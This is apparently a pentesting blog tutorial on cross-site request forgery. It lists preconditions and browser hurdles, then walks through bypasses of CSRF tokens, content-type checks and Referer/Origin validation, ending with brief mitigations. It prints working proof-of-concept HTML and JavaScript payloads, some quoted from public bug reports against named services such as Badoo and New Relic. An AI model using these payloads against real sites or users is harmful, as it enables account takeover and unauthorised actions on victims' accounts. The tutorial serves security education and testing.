CSRF Revisited

What you've been taught VS What you will see.

·

6 min read

Pre-Conditions

Portions of this article have been copied from Portswigger Academy. There are many other tips and bypasses that have been added from other resources to help aid bug hunters and pentesters.

For a CSRF attack to be possible, three key conditions must be in place:

  • A relevant action. There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).

  • Cookie-based session handling. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.

  • No unpredictable request parameters. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

POST /email/change HTTP/1.1  
Host: vulnerable-website.com  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 30  
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE  

email=wiener@normal-user.com

An attacker can abuse this POST request:

<html>  
  <body>  
    <form action="https://vulnerable-website.com/email/change" method="POST">  
      <input type="hidden" name="email" value="pwned@evil-user.net" />  
    </form>  
    <script>  
      document.forms[0].submit();  
    </script>  
  </body>  
</html>

If a victim user visits the attacker's web page, the following will happen:

  • The attacker's page will trigger an HTTP request to the vulnerable web site.

  • If the user is logged in to the vulnerable web site, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).

  • The vulnerable web site will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

NOTE: Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.

Common Hurdles (2022):

1) SOP - Same Origin Policy will prevent Ajax requests from being performed unless the CORS policy permits.

2) In order for a CSRF attack to work, the HTTP Method can ONLY be POST or GET. Any "uncommon" methods will be preempted with a pre-flight request (OPTIONS) which will break the CSRF attack.

3) Content-type: You can change the Content-Type header, e.g. using the fetch API. However, there are only three values that you can use for cross-domain requests:

application/x-www-form-urlencoded
multipart/form-data
text/plain

Bypassing this hurdles:

1) Verify the server accepts requests with arbitrary origins. *Note: The CORS implementation is only vulnerable if it is dynamically accepting arbitrary domains, however if the Access-Control-Allow-Origin is set to a wildcard \ then the browser wont send the users credentials - developer.mozilla.org/en-US/docs/Web/HTTP/C..

2) If the request is being sent via a method other than POST or GET it doesnt hurt trying to send the request with a POST or GET

3) Change the value of the Content-type header from application/json to application/x-www-form-urlencoded or one of the other permitted content types.

My colleague pointed out an interesting payload you can use if the server allows text/html content type and you need to send a JSON payload:

<html><script>
function jsonreq() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","http://gracefulsecurity.com", true);
xmlhttp.setRequestHeader("Content-Type","text/plain");
xmlhttp.send(JSON.stringify({"test":"X"}));
}
jsonreq();
</script></html>

Link to the original article

4) Another interesting bypass I read about is using Content-Type: text/plain; application/json If the server only checks whether application/json is a substring of the Content-Type header value, the attack would be successful. This was used to Attack Grafana - CVE-2022-21703. Read more about that attack here

<html><head>
    <meta charset="utf-8">
    <title>JSON CSRF POC</title>
  </head>
  <body>
    <center>
    <h1> JSON CSRF POC </h1>
    </center>
    <script>
      let options = {
        mode: 'no-cors',
        method: 'POST',
        credentials: 'include',
        headers: {
          'Content-Type': 'text/plain; application/json'
        },
        body: JSON.stringify({"name":"attacker","email":"attacker.com"})
      }; 
      fetch('https://jub0bs.com', options);
    </script>

A great report to look at to read up about the different issues a bug hunter or pentester might face can be found here

Bypass CSRF Token

  • HTTP VERB Tampering

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack:

GET /email/change?email=pwned@evil-user.net HTTP/1.1  
Host: vulnerable-website.com  
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm`
  • Omit the Token

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:

  • Find a location the token is leaked

<html>
   <head>
      <title>Badoo account take over</title>
      <script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
   </head>
   <body>
      <script>
         function getCSRFcode(str) {
             return str.split('=')[2];
         }
         window.onload = function(){
         var csrf_code = getCSRFcode(url_stats);
         csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
         window.location = csrf_url;
         };
      </script>
    </body>
</html>

In this PoC hackerone.com/reports/127703, The attacker found an endpoint that disclosed the CSRF token. He managed to create a PoC that first pulls the value from that endpoint and then sends it with the malicious action.

Bypass Referer Header Validation

Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user's browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:

<meta name="referrer" content="never">

Another method I saw in this hackerone.com/reports/504782 report describes bypassing the Origin and Referer header check as follows:

"This endpoint implements some CSRF-protection: it checks the referer and origin headers, but these checks can be bypassed using the form (doesn't send Origin header) and data: URI (form inside data: URI sends blank Referer header)."

<body></body>
<script>
  var csrf_page_content = `<form action="https://user-management.service.newrelic.com/accounts/2260599/roles" method="post">
  <input type="hidden" name="role&#91;display&#95;name&#93;" value="CSRF_ROLE" />
      <input type="hidden" name="role&#91;batches&#93;&#91;&#93;" value="" />
      <input type="submit"></form>
      <script>document.forms[0].submit()</sc` + `ript>`
  var f = document.createElement('iframe');
  f.src = 'data:text/html;base64,' + btoa(csrf_page_content);
  document.body.appendChild(f);
</script>

Mitigations

Having the user enter their password to perform important tasks is the same as using a CSRF token except rather than using a software-generated token that has to be sent to the browser in some way and so can be stolen, the password is the token. The attacking XSS script does not know the password and cannot complete the submission.

Another alternative is to have an out-of-band confirmation for an action. My bank sends me an SMS when I set up a new payment and I have to use the details in the message to confirm the action. XSS could be used to trigger the SMS but it would not then be able to read it and complete the action.

Resources

portswigger.net/web-security/csrf

untruetauttriangle.jub0bs.repl.co

security.stackexchange.com/questions/170477..

security.stackexchange.com/questions/10227/..

webs3c.com/t/csrf-leads-to-account-takeover..

twitter.com/mr_7h3xc4/status/12532486592207..^tfw%22%3EApril